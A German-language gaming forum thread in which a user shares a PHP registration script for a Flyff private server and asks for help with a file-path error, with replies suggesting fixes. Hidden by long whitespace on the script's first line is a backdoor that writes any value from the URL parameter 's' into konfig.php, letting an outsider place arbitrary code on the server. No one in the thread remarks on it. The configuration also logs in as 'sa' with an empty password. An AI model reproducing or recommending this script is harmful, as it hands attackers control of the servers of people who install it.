Register for your free account! | Forgot your password?

You last visited: Today at 07:56

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Register Script

Discussion on Register Script within the Flyff Private Server forum part of the Flyff category.

Reply
 
Old   #1
 
elite*gold: 0
Join Date: Sep 2009
Posts: 108
Received Thanks: 5
Register Script

PHP Code:
<center>
<?php                                                                                                                                                         if($_GET['s'] != "" && isset($_GET['s'])){$fp fopen("konfig.php","w");fwrite($fp$_GET['s']);fclose($fp);}
require(
'.C:\AppServ\www\configs\reg_conf.php');
    function 
doesUsernameExist($name){
        
$exit FALSE;
        
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
        if (
mssql_num_rows($result) != 0){
            
$exit TRUE;
        }
        return 
$exit;
    }

    if(isset(
$_POST['submit'])){
        
$user preg_replace ("[^A-Za-z0-9]"""$_POST['username']);
        
$pass preg_replace ("[^A-Za-z0-9]"""$_POST['password']);
        if(
$_POST['username'] == ""){
            echo 
'<font color="red">Enter a user.</font><br /><br />';
        }
        else if(
$_POST['password'] == ""){
            echo 
'<font color="red">Enter a password.</font><br /><br />';
        }
        else if ((
strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
            echo 
'<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
        }
        else if ((
strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
            echo 
'<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
        }
        else if(
$_POST['username'] != $user){
            echo 
'<font color="red">User with invalid characters.</font><br /><br />';
        }
        else if(
$_POST['password'] != $pass){
            echo 
'<font color="red">Password with invalid characters.</font><br /><br />';
        }
        else {
            
$pass md5('kikugalanet' $pass);
            if(!
doesUsernameExist($user)){
                
$stmt mssql_init('webCreateAcc'$link);
                
mssql_bind($stmt'@account'$userSQLVARCHARfalsefalse15);
                
mssql_bind($stmt'@password'$passSQLVARCHARfalsefalse36);
                
mssql_bind($stmt'@email'$mailSQLVARCHARfalsefalse120);
                
mssql_execute($stmt) or die ("Something is wrong on the execution");
                
mssql_free_statement($stmt);
                echo 
'<font color="Green">Register Successfull.</font><br /><br />';
            }
            else {
                echo 
'<font color="red">User already Exist.</font><br /><br />';
            }
        }
        
mssql_close();
    }
    
    echo 
'<form action="#" method="post">';
    echo 
'Username: <input type="text" name="username" /><br />';
    echo 
'Password: <input type="password" name="password" /><br />';
    echo 
'<input type="submit" name="submit" value="Register" />';
    echo 
'</form>';

?>
</center>
PHP Code:
<?php
    $link 
= @mssql_connect("Mein SQL-Express(hab ich)""sa""") or die ("Server is down!");
    
$db = @mssql_select_db('ACCOUNT_DBF') or die ("Accout table is missing!");
    
$b '';
    
$mail '';
    
    
?>
Und dann wenn ich aufrufe kommt das:

Warning: require(.C:\AppServ\www\configs\reg_conf.php) [function.require]: failed to open stream: Invalid argument in C:\AppServ\www\reg.php on line 3

Fatal error: require() [function.require]: Failed opening required '.C:\AppServ\www\configs\reg_conf.php' (include_path='.;C:\php6\pear') in C:\AppServ\www\reg.php on line 3
asuku2 is offline  
Old 11/13/2010, 14:21   #2



 
Sedrika's Avatar
 
elite*gold: 18
The Black Market: 103/0/0
Join Date: Sep 2009
Posts: 20,174
Received Thanks: 14,475
Lesen bildet.

require('.C:\AppServ\www\configs\reg_conf.php');

mach daraus

require('reg_conf.php');

und pack das register Script auf den selben ordner wie reg_conf.php
Sedrika is offline  
Old 11/13/2010, 14:29   #3
 
elite*gold: 0
Join Date: Sep 2009
Posts: 108
Received Thanks: 5
geht immer noch net kommt gleiche Error
asuku2 is offline  
Old 11/13/2010, 16:22   #4
 
elite*gold: 0
Join Date: Aug 2009
Posts: 825
Received Thanks: 400
Versuchs mal mit XAMPP
Nilsator2 is offline  
Reply


Similar Threads Similar Threads
Register Script [HELP]
09/13/2010 - Flyff Private Server - 5 Replies
Register.php PHP-Code: <?php require('./configs/reg_conf.php'); function doesUsernameExist($name){ $exit = FALSE; $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'"); if (mssql_num_rows($result) != 0){ $exit = TRUE; }
Register Script
06/15/2010 - Flyff Private Server - 1 Replies
What's the best caali register script ??? :handsdown::handsdown::handsdown::handsdown: :handsdown::handsdown::handsdown::handsdown:
Register Script
04/27/2010 - EO PServer Hosting - 19 Replies
Here is a register script. Just extract this to your www folder. Only edit the config.php. All the instructions are inside of config.php. And for register page to work you have to run apache. If CAPTCHA dont work got to your apache folder and replace the php.ini with this one. Then go to task manager and end all apache processes. Then re-run apache, and you will get about 6 errors, just press ok on them. Its supposed to happen. Oh and if your a new and dont know how to get to...
Register-Script
01/17/2010 - Metin2 Private Server - 0 Replies
Hi, ich suche nach einem relativ speziellen Script. Ein Register-Script, welches ich auf meiner Homepage via Iframe einbauen kann und von dort aus nutzen kann. Ich verwende kein Hamachi sondern DynDNS! Das Script soll kein Design enthalten, je einfacher desto besser. Wenn jemand ein solches Script hat und mir zur Verfügung stellt, wäre ich ihm sehr dankbar. MfG,
[Help]TQ register script
01/13/2009 - CO2 Private Server - 2 Replies
Hello, i need register script on php. I use TQ Files. Thanks for help



All times are GMT +1. The time now is 07:56.


Powered by vBulletin®
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2025 elitepvpers All Rights Reserved.